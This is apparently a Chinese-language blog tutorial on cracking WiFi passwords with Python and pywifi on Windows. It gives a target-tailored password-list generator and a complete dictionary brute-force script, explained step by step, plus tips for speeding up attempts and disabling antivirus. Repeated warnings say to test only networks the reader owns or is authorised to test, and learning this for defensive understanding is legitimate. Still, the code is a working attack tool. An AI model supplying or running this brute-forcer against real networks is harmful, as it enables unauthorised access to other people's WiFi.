## 1. 环境准备:从零开始的工具箱
要玩转这个Python脚本,你首先得把家伙事儿备齐。这可不是什么高深莫测的黑客技术,本质上就是一个“自动化猜密码”的工具。它的原理和我们平时忘记密码,然后一个个试常用密码的过程一模一样,只不过Python脚本能不知疲倦、速度飞快地帮你完成这个枯燥的尝试。所以,请放平心态,我们是在学习网络安全中的一种基础攻防思维,了解攻击方式才能更好地进行防御。
首先,你需要一台安装了Windows操作系统的电脑,并且电脑自带或者插上了一块支持监听模式的无线网卡。大部分现代笔记本电脑的集成无线网卡都行。接下来就是软件环境的搭建了,这是第一步,也是最容易踩坑的地方。
**核心依赖:Python和pywifi库**
我强烈建议你使用Python 3.7或以上的版本,太老的版本可能会遇到兼容性问题。安装Python的过程我就不赘述了,记得勾选“Add Python to PATH”那个选项,这能省去后面配置环境变量的麻烦。安装好后,打开你的命令提示符(CMD)或者PowerShell,输入 `python --version` 确认一下安装成功。
接下来是关键的一步:安装 `pywifi` 库。这个库是Python和你的无线网卡之间的“翻译官”,所有的操作指令都要通过它来下达。安装命令非常简单:
```bash
pip install pywifi
```
但是,这里我踩过一个大坑。直接这么安装,有很大概率会失败,报错信息里常常会提到“Comtypes”或者一些编译错误。这是因为 `pywifi` 依赖一个叫 `comtypes` 的库,而在Windows上,这个库的安装有时不那么顺利。
我的经验是,分两步走,稳得很:
1. 先单独安装 `comtypes`:`pip install comtypes`
2. 再安装 `pywifi`:`pip install pywifi`
如果这样还不行,你可以去一个叫“Unofficial Windows Binaries for Python Extension Packages”的网站,手动下载对应你Python版本和系统位数的 `pywifi` 的 `.whl` 文件,然后用 `pip install 文件名.whl` 的方式安装。实测下来,这个方法是最稳的。
安装成功后,你可以在Python交互环境里输入 `import pywifi` 试试,如果不报错,恭喜你,最难的一关已经过了。
> 注意:整个实验请在你自己家的网络,或者得到明确授权的网络环境下进行。未经授权测试他人网络是违法行为,切记!
## 2. 核心武器:密码字典的奥秘与制作
脚本跑得快不快,能不能成功,八成取决于你手里的“密码字典”够不够好。你可以把它想象成一本包含了成千上万、甚至上亿个可能密码的“密码大全”。脚本的工作,就是捧着这本大全,一条一条地去问WiFi:“是`12345678`吗?”“是`password`吗?”“是`qwertyuiop`吗?”
**为什么字典攻击有效?** 因为绝大多数人设置的密码都并不随机。人们倾向于使用生日、电话号码、简单数字序列、常见英文单词、姓名的拼音等容易记忆的密码。一个精心准备的字典,正是收集了这些常见的密码模式。
**获取现成字典:**
网上有很多安全研究人员分享的密码字典文件,通常叫 `rockyou.txt`、`common_passwords.txt` 之类的。它们体积从几MB到几十GB不等,包含了从各种泄露事件中收集的真实密码。对于初学者,从一个几MB到几百MB的字典开始就足够了。你可以通过一些开源安全项目或论坛找到它们。
**自己动手,丰衣足食:**
更有针对性的方法是自己生成字典。比如,如果你知道目标WiFi的名称(SSID)叫“ZhangSan_Home”,那么主人很可能使用“zhangsan”、“zhangsan123”、“zs123456”这类与名称相关的密码。我们可以用Python来生成一个定制化的字典。
这里我分享一个简单的字典生成脚本片段,它可以根据一些基础信息生成可能的密码组合:
```python
import itertools
# 基础词块:可能是姓名、缩写、年份等
base_words = ['zhang', 'san', 'zs', '2020', '2021', '123', 'home', 'jia']
# 常用后缀
suffixes = ['', '!', '@', '#', '123', '456', '789', '000']
passwords = []
# 生成简单的组合
for word in base_words:
passwords.append(word) # 原始词
for suffix in suffixes:
passwords.append(word + suffix) # 词+后缀
# 生成两个词的组合
for combo in itertools.product(base_words[:4], repeat=2): # 取前4个词两两组合
passwords.append(''.join(combo))
# 将生成的密码写入文件
with open('custom_dict.txt', 'w') as f:
for pwd in set(passwords): # 用set去重
f.write(pwd + '\n')
print(f"生成了 {len(set(passwords))} 个密码,已保存到 custom_dict.txt")
```
这个脚本只是一个起点,真正的字典生成工具(如Crunch、CUPP)功能要强大得多,可以按照指定的字符集、长度、模式来生成海量密码。但原则是一样的:结合目标信息,提高猜测的针对性。把生成的 `custom_dict.txt` 文件路径记下来,我们下一步就要用到它。
## 3. 代码逐行拆解:手把手教你写破解脚本
现在,我们进入最核心的部分——读懂并编写脚本。我会把原始文章的代码拆开揉碎了讲,并补充很多它没提到的细节和错误处理。咱们的目标是不仅能运行,还要明白每一行在干什么。
**第一步:导入模块与设置路径**
```python
import time
import pywifi
from pywifi import const # 引入常量定义,方便后面使用
# 密码字典的绝对路径,这里换成你自己字典文件的位置
# 使用原始字符串(r前缀)可以避免路径中的反斜杠被转义
password_file_path = r"D:\Security\wordlists\common_passwords.txt"
# 目标WiFi的名称(SSID),注意大小写必须完全一致
target_wifi_name = "MyHomeWiFi"
```
这里我多导入了一个 `const`,它里面定义了很多状态码和类型码,比如连接状态、认证算法、加密类型等,用常量会让代码更清晰,后面会看到。
**第二步:初始化网卡接口**
```python
# 实例化一个PyWiFi对象
wifi = pywifi.PyWiFi()
# 获取无线网卡列表。通常笔记本电脑只有一个,台式机如果没有无线网卡则为空列表。
iface_list = wifi.interfaces()
if not iface_list:
print("未找到可用的无线网卡!请检查设备。")
exit()
# 我们通常取第一个网卡。如果你有多个,可能需要根据名称选择。
iface = iface_list[0]
print(f"使用的网卡是:{iface.name()}")
# 一个辅助函数,确保网卡处于“就绪”状态
def reset_interface():
"""断开当前连接,并确保网卡回到可扫描/连接状态"""
iface.disconnect() # 断开任何现有连接
time.sleep(1) # 等待断开操作完成
# 检查状态:0=断开连接,2=扫描中。这两种状态都可以开始新的连接尝试。
if iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_SCANNING]:
return True
else:
print("网卡状态重置异常")
return False
```
`iface` 是我们后续所有操作的“手柄”。`reset_interface` 函数很重要,因为每次尝试连接后,无论成功失败,我们都需要把网卡“归位”,才能进行下一次尝试。
**第三步:构建连接测试函数(核心)**
这是整个脚本的大脑,它负责用单个密码去尝试连接。
```python
def try_connect(password):
"""用给定的密码尝试连接目标WiFi"""
# 1. 创建一个WiFi配置文件(Profile),相当于填一张连接申请表
profile = pywifi.Profile()
profile.ssid = target_wifi_name # 要连接的WiFi名
profile.auth = const.AUTH_ALG_OPEN # 认证算法,一般是开放系统认证
profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密类型,现在绝大多数是WPA2-Personal
profile.cipher = const.CIPHER_TYPE_CCMP # 加密套件,WPA2通常用CCMP
profile.key = password # 要尝试的密码
# 2. 清理并应用配置
iface.remove_all_network_profiles() # 清除之前所有的配置,避免冲突
new_profile = iface.add_network_profile(profile) # 加载新的配置
# 3. 发起连接
iface.connect(new_profile)
# 4. 等待并检查连接结果
# 连接需要时间,等待秒数根据网络环境调整,太短可能误判,太长影响速度
for i in range(10): # 总共等10秒,每1秒检查一次
time.sleep(1)
current_status = iface.status()
if current_status == const.IFACE_CONNECTED:
print(f"[+] 惊天好消息!连接成功!密码是:{password}")
return True
elif current_status == const.IFACE_CONNECTING:
continue # 还在连接中,继续等
else:
break # 连接失败或进入其他状态,跳出循环
# 5. 连接失败,断开并清理
iface.disconnect()
time.sleep(0.5)
# 这里可以加一个状态确认,确保断开成功
return False
```
这个函数比原始版本健壮很多。它明确了加密类型(WPA2PSK和CCMP),这是目前家庭路由器的绝对主流配置。循环检查状态也比写死的 `time.sleep(1)` 更合理,因为有的网络响应快,有的慢。
**第四步:读取字典并自动化尝试**
```python
def start_cracking():
"""主破解循环"""
if not reset_interface():
print("初始化网卡失败,退出。")
return
print(f"目标WiFi: {target_wifi_name}")
print(f"开始加载密码字典: {password_file_path}")
try:
with open(password_file_path, 'r', errors='ignore') as f:
# 逐行读取,避免一次性加载大文件导致内存不足
for line_num, line in enumerate(f, 1):
password = line.strip() # 去掉首尾的空白字符和换行符
if not password: # 跳过空行
continue
print(f"尝试第 {line_num} 个密码: {password}", end='\r') # \r让光标回行首,实现单行刷新
if try_connect(password):
# 成功的话,try_connect函数内部会打印成功信息
# 这里可以做一些成功后的操作,比如把密码保存到文件
with open('found_password.txt', 'w') as result_file:
result_file.write(f"WiFi: {target_wifi_name}\nPassword: {password}\n")
return # 找到密码,函数结束
# 尝试失败后,重置网卡状态,准备下一次尝试
if not reset_interface():
print("网卡状态异常,停止破解。")
break
except FileNotFoundError:
print(f"错误:找不到字典文件 '{password_file_path}',请检查路径。")
except Exception as e:
print(f"读取文件时发生未知错误: {e}")
print("\n[-] 很遗憾,字典中的所有密码都尝试完毕,未能破解。")
print("可能原因:1.密码不在当前字典中;2.WiFi加密方式特殊;3.信号不稳定。")
```
这里我做了大量优化:使用 `with open` 上下文管理器自动处理文件开关;`enumerate` 用来计数;`end='\r'` 实现进度在同一行更新,看起来更清爽;增加了完整的异常处理;失败后也有明确的原因提示。
**第五步:启动**
```python
if __name__ == "__main__":
start_cracking()
```
最后这两行是Python脚本的标准写法,意思是“如果这个文件是被直接运行的,而不是被其他文件导入的,那么就执行 `start_cracking()` 函数”。
把上面所有代码块按顺序组合到一个 `.py` 文件里,修改好 `password_file_path` 和 `target_wifi_name`,你的专属WiFi密码测试工具就诞生了。
## 4. 实战演练、优化与重要注意事项
脚本写好了,但直接跑可能还是会遇到各种问题。下面我结合自己的实战经验,分享一些优化技巧和必须注意的坑。
**实战步骤:**
1. **选择目标**:当然是选你自己家的WiFi。把脚本里的 `target_wifi_name` 改成你家的WiFi名。
2. **准备小字典**:先别用几个G的大字典。自己创建一个 `test.txt`,里面写上你家的真实密码,再加上几个错误密码,比如:
```
wrongpassword1
12345678
myrealhomepassword # 这是正确的
wrongpassword2
```
这样做的目的是快速验证你的脚本整个流程是否通畅,从读取、尝试到成功识别,都能正确工作。
3. **以管理员身份运行**:在Windows上,对无线网卡进行操作有时需要管理员权限。右键点击你的命令行终端(CMD或PowerShell)或者Python IDE,选择“以管理员身份运行”,然后再执行脚本 `python your_script.py`。
4. **观察输出**:你会看到终端上密码在快速尝试。当尝试到正确密码时,脚本会打印成功信息并停止。用我们的小测试字典,应该几秒钟就能看到成功结果。
**性能优化技巧:**
* **速度瓶颈**:这种方法的**主要速度瓶颈不在Python代码本身,而在物理层面**。每一次尝试,网卡都需要完成一整套的“握手-认证-关联”流程,这需要时间。通常一次尝试需要2到5秒。一个包含100万密码的字典,即使不间断尝试,也需要数十天。
* **字典排序**:把你认为最有可能的密码放在字典文件的最前面。比如,如果目标是以电话号码命名的“ChinaNet-2333”,那么可以把“23333333”、“23332333”等变体放在前面。
* **减少等待时间**:在 `try_connect` 函数的循环检查里,可以适当减少总等待时间。对于绝大多数错误密码,网络会在1-2秒内返回拒绝。可以把总等待时间从10秒降到5秒甚至3秒,能大幅提升平均尝试速度。但要注意,对于正确的密码,如果网络响应慢,过短的超时可能导致误判失败。
* **信号强度**:确保你的电脑离路由器近一些,信号强度好,握手过程会更稳定快速。
**常见问题与坑:**
* **`iface.status()` 状态码不对**:这是我遇到最多的问题。`pywifi` 库在不同系统或网卡驱动下,返回的状态码可能和 `const` 里定义的不完全一致。如果总是失败,可以加一行调试代码:`print(f”当前状态码: {iface.status()}”)`,在连接前后都打印一下,观察成功和失败时分别是什么码数,然后替换掉代码里的常量判断。
* **驱动兼容性问题**:有些无线网卡驱动可能和 `pywifi` 兼容性不好,导致无法控制。如果 `iface.disconnect()` 或 `iface.connect()` 总是没反应,可以尝试更新无线网卡驱动到最新版,或者换一个USB外置无线网卡试试(推荐芯片型号为RTL8812AU的网卡,它在渗透测试领域兼容性很好)。
* **杀毒软件或防火墙拦截**:部分安全软件可能会阻止Python程序对网络适配器进行底层操作。尝试时暂时关闭它们。
* **法律与道德红线**:我必须再次强调,**仅将此技术用于测试你拥有完全控制权的网络**,例如你自己的家庭网络、公司授权测试的网络或专门的实验环境。未经授权测试他人网络是明确的违法行为,会面临法律风险。学习网络安全技术,是为了筑起防御的城墙,而不是去攻击别人。
**关于“懒人.exe”的提醒:**
原始文章最后提供了一个打包好的exe程序。**我强烈不建议你下载和运行任何来源不明的可执行文件,尤其是这种涉及网络操作的。** 这有极大的安全风险,它可能内置了木马、后门,或者会窃取你电脑上的其他WiFi配置和密码。学习技术,最宝贵的是理解过程和掌握代码,而不是得到一个黑箱工具。自己动手写一遍、跑一遍,你的收获会大得多。
这个脚本更像是一个教学Demo,它让你直观地理解了字典攻击的原理和自动化实现。在真实的网络安全评估中,有更高效的工具(如Aircrack-ng套件)和专业硬件,但它们的核心思想是相通的。希望你在动手实践的过程中,不仅能感受到编程的乐趣,更能建立起对无线网络安全性的深刻认识。